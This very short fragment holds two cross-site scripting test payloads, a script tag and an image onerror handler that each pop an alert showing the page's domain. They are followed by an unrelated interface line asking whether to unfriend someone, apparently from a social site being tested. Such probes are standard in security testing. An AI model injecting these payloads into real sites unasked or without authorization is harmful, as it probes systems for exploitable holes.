<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
Are you sure you want to unfriend?